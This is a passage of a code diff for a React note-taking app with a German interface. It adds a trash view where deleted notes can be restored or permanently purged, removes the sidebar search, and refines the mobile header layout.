||||||
|
return (
|
||||||
|
<div className="flex-1 overflow-y-auto p-4 sm:p-6 lg:p-8 bg-canvas">
|
||||||
|
<div className="w-full max-w-3xl space-y-4">
|
||||||
|
<div className="flex flex-wrap items-center gap-2">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={onBackMobile}
|
||||||
|
className="lg:hidden btn-action h-11 w-11 flex items-center justify-center"
|
||||||
|
aria-label="Zurück zu den Notizen"
|
||||||
|
>
|
||||||
|
<ArrowLeft className="w-4 h-4" />
|
||||||
|
</button>
|
||||||
|
<Trash2 className="w-5 h-5 text-accent" />
|
||||||
|
<h1 className="text-xl font-bold text-main">Papierkorb</h1>
|
||||||
|
<CountBadge count={items.length} />
|
||||||
|
{items.length > 0 && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
disabled={busyId !== null}
|
||||||
|
onClick={() =>
|
||||||
|
confirmId === '__all__' ? run('__all__', onEmpty) : setConfirmId('__all__')
|
||||||
|
}
|
||||||
|
className={`ml-auto h-11 sm:h-8 px-3 text-xs font-semibold rounded-btn border transition-colors disabled:opacity-50 ${
|
||||||
|
confirmId === '__all__'
|
||||||
|
? 'bg-status-err/20 text-status-err border-status-err'
|
||||||
|
: 'btn-action text-status-err border-status-err/40'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{confirmId === '__all__' ? `Wirklich ${items.length} endgültig löschen?` : 'Papierkorb leeren'}
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<p className="text-xs text-muted">
|
||||||
|
Gelöschte Notizen bleiben hier, bis du sie wiederherstellst oder endgültig löschst. Für alle, mit denen sie geteilt
|
||||||
|
waren, sind sie bis dahin ausgeblendet.
|
||||||
|
</p>
|
||||||
|
{error && <p className="text-xs text-status-err">{error}</p>}
|
||||||
|
|
||||||
|
{items.length === 0 ? (
|
||||||
|
<div className="p-8 text-center text-sm text-faint border border-dashed border-border rounded-card">
|
||||||
|
Der Papierkorb ist leer.
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<ul className="space-y-2">
|
||||||
|
{items.map((t) => (
|
||||||
|
<li
|
||||||
|
key={t.id}
|
||||||
|
className="p-3 bg-panel border border-border rounded-card flex flex-col sm:flex-row sm:items-center gap-2 sm:gap-3"
|
||||||
|
>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => onOpen(t.id)}
|
||||||
|
className="flex items-center gap-2.5 flex-1 min-w-0 text-left cursor-pointer group"
|
||||||
|
title="Schreibgeschützt ansehen"
|
||||||
|
>
|
||||||
|
<span className="text-lg shrink-0">{t.icon || '📝'}</span>
|
||||||
|
<span className="min-w-0">
|
||||||
|
<span className="block text-sm font-semibold text-main truncate group-hover:text-accent">
|
||||||
|
{t.title || 'Unbenannte Notiz'}
|
||||||
|
</span>
|
||||||
|
<span className="flex flex-wrap items-center gap-x-2 text-[11px] text-muted">
|
||||||
|
<span className="inline-flex items-center gap-1 min-w-0">
|
||||||
|
<Folder className="w-3 h-3 shrink-0" />
|
||||||
|
<span className="truncate">{t.folderPath || 'Hauptebene'}</span>
|
||||||
|
</span>
|
||||||
|
<span>gelöscht {formatDeletedAt(t.deletedAt)}</span>
|
||||||
|
</span>
|
||||||
|
</span>
|
||||||
|
</button>
|
||||||
|
<div className="grid grid-cols-2 sm:flex gap-2 shrink-0">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
disabled={busyId !== null}
|
||||||
|
onClick={() => run(t.id, () => onRestore(t.id))}
|
||||||
|
className="btn-action h-11 sm:h-8 px-3 text-xs inline-flex items-center justify-center gap-1.5 disabled:opacity-50"
|
||||||
|
>
|
||||||
|
<RotateCcw className="w-3.5 h-3.5 text-accent" />
|
||||||
|
Wiederherstellen
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
disabled={busyId !== null}
|
||||||
|
onClick={() => (confirmId === t.id ? run(t.id, () => onPurge(t.id)) : setConfirmId(t.id))}
|
||||||
|
className={`h-11 sm:h-8 px-3 text-xs rounded-btn border inline-flex items-center justify-center gap-1.5 transition-colors disabled:opacity-50 ${
|
||||||
|
confirmId === t.id
|
||||||
|
? 'bg-status-err/20 text-status-err border-status-err font-semibold'
|
||||||
|
: 'btn-action text-status-err border-status-err/40'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<Trash2 className="w-3.5 h-3.5" />
|
||||||
|
{confirmId === t.id ? 'Wirklich löschen?' : 'Endgültig löschen'}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -18,15 +18,11 @@ import {
|
|||||||
ExternalLink,
|
ExternalLink,
|
||||||
Sparkles,
|
Sparkles,
|
||||||
ArrowLeft,
|
ArrowLeft,
|
||||||
CheckSquare,
|
|
||||||
PanelLeftClose,
|
PanelLeftClose,
|
||||||
PanelLeftOpen,
|
PanelLeftOpen,
|
||||||
ChevronLeft,
|
|
||||||
Radio,
|
|
||||||
Clock,
|
Clock,
|
||||||
AlertTriangle,
|
AlertTriangle,
|
||||||
Loader2,
|
Loader2,
|
||||||
Lock,
|
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import {
|
import {
|
||||||
Document,
|
Document,
|
||||||
@@ -36,6 +32,7 @@ import {
|
|||||||
TagDetails,
|
TagDetails,
|
||||||
TagSummary,
|
TagSummary,
|
||||||
Team,
|
Team,
|
||||||
|
TrashedDocument,
|
||||||
UnifiedShare,
|
UnifiedShare,
|
||||||
User,
|
User,
|
||||||
} from '../../lib/types';
|
} from '../../lib/types';
|
||||||
@@ -43,15 +40,15 @@ import {
|
|||||||
api,
|
api,
|
||||||
onWebSocketMessage,
|
onWebSocketMessage,
|
||||||
triggerHaptic,
|
triggerHaptic,
|
||||||
onRealtimeStatus,
|
|
||||||
isRealtimeConnected,
|
|
||||||
getRealtimeTransport,
|
|
||||||
RealtimeTransport,
|
|
||||||
} from '../../lib/api';
|
} from '../../lib/api';
|
||||||
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
||||||
|
import { FormSheet } from '../../components/FormSheet';
|
||||||
import { sendDocOps } from '../../lib/docSync/oneoff';
|
import { sendDocOps } from '../../lib/docSync/oneoff';
|
||||||
import { useMobileActions } from '../../context/MobileActionContext';
|
import { useMobileActions } from '../../context/MobileActionContext';
|
||||||
import { DocumentEditor, DocSaveStatus } from './DocumentEditor';
|
import { DocumentEditor, DocSaveStatus } from './DocumentEditor';
|
||||||
|
import { TrashView } from './TrashView';
|
||||||
|
import { CountBadge } from '../../components/CountBadge';
|
||||||
|
import { extractHashtags } from '../../lib/hashtags';
|
||||||
|
|
||||||
interface WorkspaceViewProps {
|
interface WorkspaceViewProps {
|
||||||
currentUser?: User | null;
|
currentUser?: User | null;
|
||||||
@@ -59,9 +56,11 @@ interface WorkspaceViewProps {
|
|||||||
initialBlockId?: string | null;
|
initialBlockId?: string | null;
|
||||||
onStatsChange: () => void;
|
onStatsChange: () => void;
|
||||||
onOpenTask?: (taskId: string) => void;
|
onOpenTask?: (taskId: string) => void;
|
||||||
|
// Opens the global search (command palette); the notes sidebar has no search of its own
|
||||||
|
onOpenSearch?: () => void;
|
||||||
}
|
}
|
||||||
|
|
||||||
type WorkspaceSubView = 'editor' | 'tag_detail' | 'todos' | 'tags';
|
type WorkspaceSubView = 'editor' | 'tag_detail' | 'todos' | 'tags' | 'trash';
|
||||||
|
|
||||||
interface FolderTreeNode {
|
interface FolderTreeNode {
|
||||||
name: string;
|
name: string;
|
||||||
@@ -277,6 +276,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
initialBlockId,
|
initialBlockId,
|
||||||
onStatsChange,
|
onStatsChange,
|
||||||
onOpenTask,
|
onOpenTask,
|
||||||
|
onOpenSearch,
|
||||||
}) => {
|
}) => {
|
||||||
const [docs, setDocs] = useState<Document[]>([]);
|
const [docs, setDocs] = useState<Document[]>([]);
|
||||||
const [folders, setFolders] = useState<string[]>([]);
|
const [folders, setFolders] = useState<string[]>([]);
|
||||||
@@ -289,12 +289,8 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
const tagMap = new Map<string, number>();
|
const tagMap = new Map<string, number>();
|
||||||
for (const d of docs) {
|
for (const d of docs) {
|
||||||
for (const b of d.blocks || []) {
|
for (const b of d.blocks || []) {
|
||||||
const matches = b.content?.match(/#([a-zA-Z0-9äöüÄÖÜß_-]+)/g);
|
for (const clean of extractHashtags(b.content)) {
|
||||||
if (matches) {
|
tagMap.set(clean, (tagMap.get(clean) || 0) + 1);
|
||||||
for (const m of matches) {
|
|
||||||
const clean = m.slice(1).toLowerCase();
|
|
||||||
tagMap.set(clean, (tagMap.get(clean) || 0) + 1);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -309,13 +305,21 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
const [targetBlockId, setTargetBlockId] = useState<string | null>(initialBlockId || null);
|
const [targetBlockId, setTargetBlockId] = useState<string | null>(initialBlockId || null);
|
||||||
const [newlyCreatedDocId, setNewlyCreatedDocId] = useState<string | null>(null);
|
const [newlyCreatedDocId, setNewlyCreatedDocId] = useState<string | null>(null);
|
||||||
const [subView, setSubView] = useState<WorkspaceSubView>('editor');
|
const [subView, setSubView] = useState<WorkspaceSubView>('editor');
|
||||||
|
const [trash, setTrash] = useState<TrashedDocument[]>([]);
|
||||||
|
// Bumped after a restore so the open editor reloads the note without the trash banner
|
||||||
|
const [editorNonce, setEditorNonce] = useState(0);
|
||||||
|
const reloadTrash = useCallback(() => {
|
||||||
|
api.getTrash().then(setTrash).catch(() => {});
|
||||||
|
}, []);
|
||||||
|
useEffect(() => {
|
||||||
|
reloadTrash();
|
||||||
|
}, [reloadTrash]);
|
||||||
const [selectedTag, setSelectedTag] = useState<string | null>(null);
|
const [selectedTag, setSelectedTag] = useState<string | null>(null);
|
||||||
const [tagDetails, setTagDetails] = useState<TagDetails | null>(null);
|
const [tagDetails, setTagDetails] = useState<TagDetails | null>(null);
|
||||||
const [tagNoteDraft, setTagNoteDraft] = useState<string>('');
|
const [tagNoteDraft, setTagNoteDraft] = useState<string>('');
|
||||||
const [tagSearchQuery, setTagSearchQuery] = useState<string>('');
|
const [tagSearchQuery, setTagSearchQuery] = useState<string>('');
|
||||||
const [tagSortBy, setTagSortBy] = useState<'count' | 'name'>('count');
|
const [tagSortBy, setTagSortBy] = useState<'count' | 'name'>('count');
|
||||||
|
|
||||||
const [searchQuery, setSearchQuery] = useState<string>('');
|
|
||||||
const [expandedFolders, setExpandedFolders] = useState<Record<string, boolean>>(() => {
|
const [expandedFolders, setExpandedFolders] = useState<Record<string, boolean>>(() => {
|
||||||
try {
|
try {
|
||||||
const saved = localStorage.getItem('mindsift:workspace_expanded_folders');
|
const saved = localStorage.getItem('mindsift:workspace_expanded_folders');
|
||||||
@@ -335,7 +339,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
const [newFolderCoords, setNewFolderCoords] = useState<{ x: number; y: number } | null>(null);
|
const [newFolderCoords, setNewFolderCoords] = useState<{ x: number; y: number } | null>(null);
|
||||||
const [newFolderParentPath, setNewFolderParentPath] = useState<string>('');
|
const [newFolderParentPath, setNewFolderParentPath] = useState<string>('');
|
||||||
const [newFolderName, setNewFolderName] = useState<string>('');
|
const [newFolderName, setNewFolderName] = useState<string>('');
|
||||||
const [newFolderIsShared, setNewFolderIsShared] = useState<boolean>(false);
|
|
||||||
|
|
||||||
const handleOpenNewFolder = (parentPath = '', e?: React.MouseEvent) => {
|
const handleOpenNewFolder = (parentPath = '', e?: React.MouseEvent) => {
|
||||||
setNewFolderParentPath(parentPath);
|
setNewFolderParentPath(parentPath);
|
||||||
@@ -343,7 +346,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
if (e) {
|
if (e) {
|
||||||
setNewFolderCoords({
|
setNewFolderCoords({
|
||||||
x: Math.min(e.clientX, window.innerWidth - 270),
|
x: Math.min(e.clientX, window.innerWidth - 270),
|
||||||
y: Math.min(e.clientY, window.innerHeight - 130),
|
y: Math.min(e.clientY, window.innerHeight - 200),
|
||||||
});
|
});
|
||||||
} else {
|
} else {
|
||||||
setNewFolderCoords({ x: 100, y: 150 });
|
setNewFolderCoords({ x: 100, y: 150 });
|
||||||
@@ -369,19 +372,9 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
});
|
});
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
// Realtime connection status for top header indicator (identical to SharedListsView)
|
|
||||||
const [realtimeConnected, setRealtimeConnected] = useState<boolean>(() => isRealtimeConnected());
|
|
||||||
const [realtimeTransport, setRealtimeTransport] = useState<RealtimeTransport>(() => getRealtimeTransport());
|
|
||||||
const [docSaveStatus, setDocSaveStatus] = useState<DocSaveStatus>('saved');
|
const [docSaveStatus, setDocSaveStatus] = useState<DocSaveStatus>('saved');
|
||||||
const [docSaveError, setDocSaveError] = useState<string | null>(null);
|
const [docSaveError, setDocSaveError] = useState<string | null>(null);
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
const unsub = onRealtimeStatus((connected, transport) => {
|
|
||||||
setRealtimeConnected(connected);
|
|
||||||
setRealtimeTransport(transport);
|
|
||||||
});
|
|
||||||
return unsub;
|
|
||||||
}, []);
|
|
||||||
|
|
||||||
// Drag and Drop state
|
// Drag and Drop state
|
||||||
const [draggingDocId, setDraggingDocId] = useState<string | null>(null);
|
const [draggingDocId, setDraggingDocId] = useState<string | null>(null);
|
||||||
@@ -468,14 +461,16 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
const delId = msg.payload.id as string;
|
const delId = msg.payload.id as string;
|
||||||
setDocs((prev) => prev.filter((d) => d.id !== delId));
|
setDocs((prev) => prev.filter((d) => d.id !== delId));
|
||||||
setSelectedDocId((prev) => (prev === delId ? null : prev));
|
setSelectedDocId((prev) => (prev === delId ? null : prev));
|
||||||
|
reloadTrash();
|
||||||
} else if (msg.event === 'WORKSPACE_FOLDERS_UPDATED') {
|
} else if (msg.event === 'WORKSPACE_FOLDERS_UPDATED') {
|
||||||
api.getFolders().then(setFolders).catch(() => {});
|
api.getFolders().then(setFolders).catch(() => {});
|
||||||
api.getSharedFolders().then(setSharedFolders).catch(() => {});
|
api.getSharedFolders().then(setSharedFolders).catch(() => {});
|
||||||
api.getDocuments().then(setDocs).catch(() => {});
|
api.getDocuments().then(setDocs).catch(() => {});
|
||||||
|
reloadTrash();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
return unsub;
|
return unsub;
|
||||||
}, [currentUser]);
|
}, [currentUser, reloadTrash]);
|
||||||
|
|
||||||
const handleCreateDocument = useCallback(
|
const handleCreateDocument = useCallback(
|
||||||
async (folderPath = '') => {
|
async (folderPath = '') => {
|
||||||
@@ -526,6 +521,12 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
setMobileShowDetail(true);
|
setMobileShowDetail(true);
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
|
const openTrash = useCallback(() => {
|
||||||
|
reloadTrash();
|
||||||
|
setSubView('trash');
|
||||||
|
setMobileShowDetail(true);
|
||||||
|
}, [reloadTrash]);
|
||||||
|
|
||||||
// Register mobile FAB actions
|
// Register mobile FAB actions
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
setPrimaryAction(() => handleCreateDocument(''));
|
setPrimaryAction(() => handleCreateDocument(''));
|
||||||
@@ -547,6 +548,13 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
icon: <FolderPlus className="w-4 h-4" />,
|
icon: <FolderPlus className="w-4 h-4" />,
|
||||||
onClick: () => setShowNewFolderModal(true),
|
onClick: () => setShowNewFolderModal(true),
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
id: 'trash',
|
||||||
|
label: 'Papierkorb',
|
||||||
|
icon: <Trash2 className="w-4 h-4" />,
|
||||||
|
badge: trash.length,
|
||||||
|
onClick: openTrash,
|
||||||
|
},
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
]);
|
]);
|
||||||
@@ -554,7 +562,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
setGroups([]);
|
setGroups([]);
|
||||||
setPrimaryAction(undefined);
|
setPrimaryAction(undefined);
|
||||||
};
|
};
|
||||||
}, [handleCreateDocument, setGroups, setPrimaryAction]);
|
}, [handleCreateDocument, setGroups, setPrimaryAction, trash.length, openTrash]);
|
||||||
|
|
||||||
const handleDeleteDocument = useCallback(
|
const handleDeleteDocument = useCallback(
|
||||||
async (docId: string) => {
|
async (docId: string) => {
|
||||||
@@ -569,13 +577,47 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
});
|
});
|
||||||
setMobileShowDetail(false);
|
setMobileShowDetail(false);
|
||||||
onStatsChange();
|
onStatsChange();
|
||||||
|
reloadTrash();
|
||||||
} catch {
|
} catch {
|
||||||
// ignore
|
// ignore
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
[onStatsChange, selectedDocId]
|
[onStatsChange, selectedDocId, reloadTrash]
|
||||||
);
|
);
|
||||||
|
|
||||||
|
const handleOpenTrashedDoc = (docId: string) => {
|
||||||
|
setSelectedDocId(docId);
|
||||||
|
setTargetBlockId(null);
|
||||||
|
setNewlyCreatedDocId(null);
|
||||||
|
setSubView('editor');
|
||||||
|
setMobileShowDetail(true);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleRestoreDocument = useCallback(
|
||||||
|
async (docId: string) => {
|
||||||
|
await api.restoreDocument(docId);
|
||||||
|
const [freshDocs, freshFolders] = await Promise.all([api.getDocuments(), api.getFolders()]);
|
||||||
|
setDocs(freshDocs);
|
||||||
|
setFolders(freshFolders);
|
||||||
|
setEditorNonce((n) => n + 1);
|
||||||
|
reloadTrash();
|
||||||
|
onStatsChange();
|
||||||
|
},
|
||||||
|
[reloadTrash, onStatsChange]
|
||||||
|
);
|
||||||
|
|
||||||
|
const handlePurgeDocument = async (docId: string) => {
|
||||||
|
await api.purgeDocument(docId);
|
||||||
|
if (selectedDocId === docId) setSelectedDocId(null);
|
||||||
|
reloadTrash();
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleEmptyTrash = async () => {
|
||||||
|
await api.emptyTrash();
|
||||||
|
if (selectedDocId && trash.some((t) => t.id === selectedDocId)) setSelectedDocId(null);
|
||||||
|
reloadTrash();
|
||||||
|
};
|
||||||
|
|
||||||
const handleDocMetadataChange = useCallback((updated: Document) => {
|
const handleDocMetadataChange = useCallback((updated: Document) => {
|
||||||
setDocs((prev) => prev.map((d) => (d.id === updated.id ? { ...d, ...updated } : d)));
|
setDocs((prev) => prev.map((d) => (d.id === updated.id ? { ...d, ...updated } : d)));
|
||||||
}, []);
|
}, []);
|
||||||
@@ -617,6 +659,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
onStatsChange();
|
onStatsChange();
|
||||||
|
reloadTrash();
|
||||||
} catch {
|
} catch {
|
||||||
// ignore
|
// ignore
|
||||||
}
|
}
|
||||||
@@ -808,17 +851,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
return Array.from(set).sort();
|
return Array.from(set).sort();
|
||||||
}, [docs, folders, sharedFolders]);
|
}, [docs, folders, sharedFolders]);
|
||||||
|
|
||||||
const filteredDocs = useMemo(() => {
|
|
||||||
const q = searchQuery.trim().toLowerCase();
|
|
||||||
if (!q) return docs;
|
|
||||||
return docs.filter(
|
|
||||||
(d) =>
|
|
||||||
d.title.toLowerCase().includes(q) ||
|
|
||||||
(d.content && d.content.toLowerCase().includes(q)) ||
|
|
||||||
(d.tags && d.tags.some((t) => t.toLowerCase().includes(q)))
|
|
||||||
);
|
|
||||||
}, [docs, searchQuery]);
|
|
||||||
|
|
||||||
const folderTree = useMemo(() => {
|
const folderTree = useMemo(() => {
|
||||||
const rootNodes: FolderTreeNode[] = [];
|
const rootNodes: FolderTreeNode[] = [];
|
||||||
const nodeMap = new Map<string, FolderTreeNode>();
|
const nodeMap = new Map<string, FolderTreeNode>();
|
||||||
@@ -846,7 +878,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
const sharedFolderObj = sharedFolders.find(
|
const sharedFolderObj = sharedFolders.find(
|
||||||
(sf) => sf.mountPath === p || sf.name === p
|
(sf) => sf.mountPath === p || sf.name === p
|
||||||
);
|
);
|
||||||
const folderDocs = filteredDocs.filter((d) => d.folderPath === p);
|
const folderDocs = docs.filter((d) => d.folderPath === p);
|
||||||
|
|
||||||
const node: FolderTreeNode = {
|
const node: FolderTreeNode = {
|
||||||
name: leafName,
|
name: leafName,
|
||||||
@@ -871,16 +903,16 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
}
|
}
|
||||||
|
|
||||||
return rootNodes;
|
return rootNodes;
|
||||||
}, [allFolderPaths, filteredDocs, sharedFolders]);
|
}, [allFolderPaths, docs, sharedFolders]);
|
||||||
|
|
||||||
const pinnedDocs = useMemo(
|
const pinnedDocs = useMemo(
|
||||||
() => filteredDocs.filter((d) => d.isPinned),
|
() => docs.filter((d) => d.isPinned),
|
||||||
[filteredDocs]
|
[docs]
|
||||||
);
|
);
|
||||||
|
|
||||||
const rootDocs = useMemo(
|
const rootDocs = useMemo(
|
||||||
() => filteredDocs.filter((d) => !d.folderPath),
|
() => docs.filter((d) => !d.folderPath),
|
||||||
[filteredDocs]
|
[docs]
|
||||||
);
|
);
|
||||||
|
|
||||||
// Global To-Dos rollup collections
|
// Global To-Dos rollup collections
|
||||||
@@ -909,22 +941,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
return map;
|
return map;
|
||||||
}, [allRollupTodos]);
|
}, [allRollupTodos]);
|
||||||
|
|
||||||
const rollupTodosByNote = useMemo(() => {
|
|
||||||
const map = new Map<
|
|
||||||
string,
|
|
||||||
{ doc: Document; items: { doc: Document; blockId: string; content: string; checked: boolean }[] }
|
|
||||||
>();
|
|
||||||
for (const item of allRollupTodos) {
|
|
||||||
const existing = map.get(item.doc.id);
|
|
||||||
if (existing) {
|
|
||||||
existing.items.push(item);
|
|
||||||
} else {
|
|
||||||
map.set(item.doc.id, { doc: item.doc, items: [item] });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return map;
|
|
||||||
}, [allRollupTodos]);
|
|
||||||
|
|
||||||
const totalOpenTodos = useMemo(() => {
|
const totalOpenTodos = useMemo(() => {
|
||||||
let count = 0;
|
let count = 0;
|
||||||
for (const d of docs) {
|
for (const d of docs) {
|
||||||
@@ -1117,8 +1133,8 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
<div className="w-full space-y-3">
|
<div className="w-full space-y-3">
|
||||||
{/* Top Header: Workspace Tabs & Actions */}
|
{/* Top Header: Workspace Tabs & Actions */}
|
||||||
<div className="flex flex-wrap items-center justify-between gap-2 border-b border-border pb-2">
|
<div className="flex flex-wrap items-center justify-between gap-2 border-b border-border pb-2">
|
||||||
{/* Workspace selector tabs & left sidebar toggle */}
|
{/* Workspace selector tabs & left sidebar toggle; on phones the three tabs share the full width */}
|
||||||
<div className="flex flex-wrap items-center gap-1">
|
<div className="grid grid-cols-3 w-full gap-1 sm:flex sm:flex-wrap sm:items-center sm:w-auto">
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
disabled={subView !== 'editor'}
|
disabled={subView !== 'editor'}
|
||||||
@@ -1155,7 +1171,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => setSubView('editor')}
|
onClick={() => setSubView('editor')}
|
||||||
className={`h-8 px-3 text-xs font-medium border rounded-btn transition-colors flex items-center gap-1.5 cursor-pointer ${
|
className={`h-8 px-2 sm:px-3 text-xs font-medium border rounded-btn transition-colors flex items-center justify-center gap-1.5 cursor-pointer min-w-0 ${
|
||||||
subView === 'editor'
|
subView === 'editor'
|
||||||
? 'bg-panel border-accent text-main'
|
? 'bg-panel border-accent text-main'
|
||||||
: 'bg-canvas border-border text-muted hover:text-main'
|
: 'bg-canvas border-border text-muted hover:text-main'
|
||||||
@@ -1163,7 +1179,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
>
|
>
|
||||||
<FileText className="w-3.5 h-3.5 text-accent" />
|
<FileText className="w-3.5 h-3.5 text-accent" />
|
||||||
<span>Notizen</span>
|
<span>Notizen</span>
|
||||||
{docs.length > 0 && <span className="ml-1 badge-neutral text-[10px]">{docs.length}</span>}
|
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
<button
|
<button
|
||||||
@@ -1172,15 +1187,17 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
setSubView('todos');
|
setSubView('todos');
|
||||||
setMobileShowDetail(true);
|
setMobileShowDetail(true);
|
||||||
}}
|
}}
|
||||||
className={`h-8 px-3 text-xs font-medium border rounded-btn transition-colors flex items-center gap-1.5 cursor-pointer ${
|
className={`h-8 px-2 sm:px-3 text-xs font-medium border rounded-btn transition-colors flex items-center justify-center gap-1.5 cursor-pointer min-w-0 ${
|
||||||
subView === 'todos'
|
subView === 'todos'
|
||||||
? 'bg-panel border-accent text-main'
|
? 'bg-panel border-accent text-main'
|
||||||
: 'bg-canvas border-border text-muted hover:text-main'
|
: 'bg-canvas border-border text-muted hover:text-main'
|
||||||
}`}
|
}`}
|
||||||
>
|
>
|
||||||
<Check className="w-3.5 h-3.5 text-status-ok" />
|
<Check className="w-3.5 h-3.5 text-status-ok" />
|
||||||
<span>To-Dos</span>
|
<span className={`relative inline-flex items-center ${totalOpenTodos > 0 ? 'pr-3' : ''}`}>
|
||||||
{totalOpenTodos > 0 && <span className="ml-1 badge-neutral text-[10px]">{totalOpenTodos}</span>}
|
To-Dos
|
||||||
|
<CountBadge count={totalOpenTodos} position="corner" className="-top-0.5 -right-2" />
|
||||||
|
</span>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
<button
|
<button
|
||||||
@@ -1189,20 +1206,22 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
setSubView('tags');
|
setSubView('tags');
|
||||||
setMobileShowDetail(true);
|
setMobileShowDetail(true);
|
||||||
}}
|
}}
|
||||||
className={`h-8 px-3 text-xs font-medium border rounded-btn transition-colors flex items-center gap-1.5 cursor-pointer ${
|
className={`h-8 px-2 sm:px-3 text-xs font-medium border rounded-btn transition-colors flex items-center justify-center gap-1.5 cursor-pointer min-w-0 ${
|
||||||
subView === 'tags' || subView === 'tag_detail'
|
subView === 'tags' || subView === 'tag_detail'
|
||||||
? 'bg-panel border-accent text-main'
|
? 'bg-panel border-accent text-main'
|
||||||
: 'bg-canvas border-border text-muted hover:text-main'
|
: 'bg-canvas border-border text-muted hover:text-main'
|
||||||
}`}
|
}`}
|
||||||
>
|
>
|
||||||
<Hash className="w-3.5 h-3.5 text-accent" />
|
<Hash className="w-3.5 h-3.5 text-accent" />
|
||||||
<span>Hashtags</span>
|
<span className={`relative inline-flex items-center ${tagsSummary.length > 0 ? 'pr-3' : ''}`}>
|
||||||
{tagsSummary.length > 0 && <span className="ml-1 badge-neutral text-[10px]">{tagsSummary.length}</span>}
|
Hashtags
|
||||||
|
<CountBadge count={tagsSummary.length} position="corner" className="-top-0.5 -right-2" />
|
||||||
|
</span>
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Right Header Section: Save Status & Live Collaboration Button */}
|
{/* Right Header Section: Save Status (on phones it sits compactly in the note's own header) */}
|
||||||
<div className="flex items-center gap-2">
|
<div className="hidden sm:flex items-center gap-2">
|
||||||
{subView === 'editor' && selectedDocId ? (
|
{subView === 'editor' && selectedDocId ? (
|
||||||
/* Save Status Pill */
|
/* Save Status Pill */
|
||||||
<div
|
<div
|
||||||
@@ -1259,7 +1278,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
{/* LEFT MASTER SIDEBAR */}
|
{/* LEFT MASTER SIDEBAR */}
|
||||||
<aside
|
<aside
|
||||||
className={`${
|
className={`${
|
||||||
subView !== 'editor' || isSidebarCollapsed
|
(subView !== 'editor' && subView !== 'trash') || isSidebarCollapsed
|
||||||
? 'hidden'
|
? 'hidden'
|
||||||
: mobileShowDetail
|
: mobileShowDetail
|
||||||
? 'hidden lg:flex'
|
? 'hidden lg:flex'
|
||||||
@@ -1272,7 +1291,8 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
<h2 className="text-xs font-bold text-main uppercase tracking-wider">
|
<h2 className="text-xs font-bold text-main uppercase tracking-wider">
|
||||||
Notizen & Outliner
|
Notizen & Outliner
|
||||||
</h2>
|
</h2>
|
||||||
<div className="flex items-center gap-1">
|
{/* On phones these are in the menu at the top (and the + button), so not repeated here */}
|
||||||
|
<div className="hidden sm:flex items-center gap-1">
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={(e) => handleOpenNewFolder('', e)}
|
onClick={(e) => handleOpenNewFolder('', e)}
|
||||||
